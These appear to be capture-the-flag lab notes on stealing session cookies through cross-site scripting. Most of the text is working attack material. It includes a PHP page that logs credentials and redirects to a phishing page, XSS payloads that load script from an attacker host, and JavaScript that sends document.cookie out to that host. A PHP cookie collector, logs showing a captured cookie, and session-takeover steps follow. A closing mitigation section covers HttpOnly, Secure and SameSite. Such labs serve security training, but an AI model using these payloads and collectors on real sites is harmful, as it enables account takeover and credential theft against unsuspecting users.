this is an attack where a malicious user obtains the cookie data from the victim's browser to gain logged-in access with the victim's user without knowing their credentials. this type of attack is possible due to browser's utilization of cookies to maintain a user's session throughout different browsing sessions. cookies enables the user to only log in once and keep their logged-in session alive even if they visit the same website at another time or date. IOF this attack to be successful, the following requirements must be met
Session cookies should be carried in all HTTP requests
Session cookies should be accessible by JavaScript code (the HTTPOnly attribute should be missing)
root@oco:~$ mkdir -p /tmp/tmpserver
root@oco:~$ cd /tmp/tmpserver
root@oco:~$ nano /tmp/tmpserver/index.php #at this step we wrote our index.php file
<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
$file = fopen("creds.txt", "a+");
fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
header("Location: http://10.10.15.203:8080/phishing/index.php");
fclose($file);
exit();
}
?>
root@oco:~$ sudo php -S 0.0.0.0:8080
PHP 7.4.15 Development Server (http://0.0.0.0:8080) started
PERFORMING A BLIND XSS DISCOVERY
#XSS payloads used for blind discovery
#method 1: didn't work
root@oco:~$ BROWSER > {targetSite:port}
input field1: <script src=http://10.10.15.203:8080>fullname</script>
input field2: <script src=http://10.10.15.203:8080>username</script>
input field3: <script src=http://10.10.15.203:8080>picURL</script>
Register...
* the working xss payload with the field name that calls the attacking server
will represent the vulnerable field
#method 2: didn't work
root@oco:~$ BROWSER > {targetSite:port}
input field1: '><script src=http://10.10.15.203:8080>fullname</script>
input field2: '><script src=http://10.10.15.203:8080>username</script>
input field3: '><script src=http://10.10.15.203:8080>picURL</script>
#method 3: worked
root@oco:~$ BROWSER > {targetSite:port}
input field1: "><script src=http://10.10.15.203:8080>fullname</script>
input field2: "><script src=http://10.10.15.203:8080>username</script>
input field3: "><script src=http://10.10.15.203:8080>picURL</script> //this is the vulnerable field
[Tue Nov 5 17:45:18 2024] PHP 8.2.24 Development Server (http://0.0.0.0:8080) started
[Tue Nov 5 17:58:03 2024] 10.129.165.12:33472 Accepted
[Tue Nov 5 17:58:03 2024] 10.129.165.12:33472 [200]: GET /
[Tue Nov 5 17:58:03 2024] 10.129.165.12:33472 Closing
#other xss payloads NOT tested
input field: javascript:eval('var a=document.createElement(\'script\');a.src=\'http://OUR_IP\';document.body.appendChild(a)')
input field: <script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//OUR_IP");a.send();</script>
input field: <script>$.getScript("http://OUR_IP")</script>
* the script name should reflect the name of the field you are injecting in to easily
identify the vulnerable input field that executed the script
* the password field are usually hashed and not usually shown in cleartext, so it
can be skipped in testing
IMPLEMENTATION: COOKIE STEALING
#javascript cookie stealing payloads
#https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#exploit-code-or-poc
- document.location='http://OUR_IP/index.php?c='+document.cookie;
- new Image().src='http://OUR_IP/index.php?c='+document.cookie;
- the second payload 'new Image()... is preferred as it simply adds an image to the page, which may not be very malicious looking
#server setup
root@oco:~$ mkdir -p /tmp/tmpserver
root@oco:~$ cd /tmp/tmpserver
root@oco:~$ nano /tmp/tmpserver/index.php #at this step we wrote our index.php file
<?php
if (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as $key => $value) {
$cookie = urldecode($value);
$file = fopen("cookies.txt", "a+");
fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
fclose($file);
}
}
?>
root@oco:~$ sudo php -S 0.0.0.0:8080
PHP 7.4.15 Development Server (http://0.0.0.0:8080) started
#payload setup
root@oco:~$ sudo nano script.js
new Image().src='http://10.10.15.203:8080/index.php?c='+document.cookie;
root@oco:~$ ls
index.php script.js
#exploit
root@oco~:$ BROWSER > {targetSite:port}
input field1: fullname
input field2: username
input field3: password
input field4: email@null.com
input field5: "><script src=http://10.10.15.203:8080/script.js></script>
register...
[Tue Nov 5 19:05:59 2024] 10.129.26.73:50132 [200]: GET /script.js
[Tue Nov 5 19:05:59 2024] 10.129.26.73:50132 Closing
[Tue Nov 5 19:05:59 2024] 10.129.26.73:50134 Accepted
[Tue Nov 5 19:05:59 2024] 10.129.26.73:50134 [200]: GET /index.php?c=cookie=c00k1355h0u1d8353cu23d
[Tue Nov 5 19:05:59 2024] 10.129.26.73:50134 Closing
root@oco:~$ cat cookies.txt
Victim IP: 10.129.26.73 | Cookie: cookie=c00k1355h0u1d8353cu23d
* the name part is "cookie"
* the value part is "c00k1355h0u1d8353cu23d"
root@oco:~$ BROWSER > {targetSite:port}/hijacking/login.php > F12 > Storage > +
name: cookie
value:
* once the cookie is set, refresh the page and you'll get access as the victim's
session on the targetSite
- HTB{4lw4y5_53cur3_y0ur_c00k135}
* when the victim visits the vulnerable page and view our XSS payload, the attacker
will get two requests on the server, one for script.js, which in turn will
make another request with the cookie value
MITIGATION
HttpOnly is a flag that can be set on a cookie to indicate that the cookie should not be accessible via JavaScript. This helps protect the cookie from being stolen through cross-site scripting (XSS) attacks. When a cookie is set with the HttpOnly flag, it can only be sent and received via HTTP(S) requests (such as those made by the browser to the server). JavaScript running in the browser cannot read, modify, or delete that cookie using "document.cookie". This adds a layer of security to prevent malicious scripts from accessing sensitive data stored in cookies, like session IDs.
app.get('/set-cookie', (req, res) => {
res.cookie('sessionId', '12345', { httpOnly: true, secure: true, sameSite: 'Strict' });
res.send('Cookie has been set!');
});
* HttpOnly: Restricts JavaScript access to the cookie.
Secure: Ensures the cookie is only sent over HTTPS.
SameSite=Strict: Restricts sending the cookie in cross-site requests.
PHP
setcookie('sessionId', '12345', time() + 3600, '/', '', true, true); // true for Secure and HttpOnly
PHYTHON (FLASK)
from flask import Flask, make_response
app = Flask(__name__)
@app.route('/set-cookie')
def set_cookie():
resp = make_response('Cookie has been set!')
resp.set_cookie('sessionId', '12345', httponly=True, secure=True, samesite='Strict')
return resp
JAVA (SPRING BOOT)
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletResponse;
@RequestMapping("/set-cookie")
public void setCookie(HttpServletResponse response) {
Cookie cookie = new Cookie("sessionId", "12345");
cookie.setHttpOnly(true); // Set HttpOnly flag
cookie.setSecure(true); // Set Secure flag (only sent over HTTPS)
cookie.setPath("/"); // Path for which the cookie is valid
cookie.setMaxAge(3600); // Cookie expiry time in seconds
cookie.setDomain("example.com"); // Optional, to set the domain
response.addCookie(cookie);
}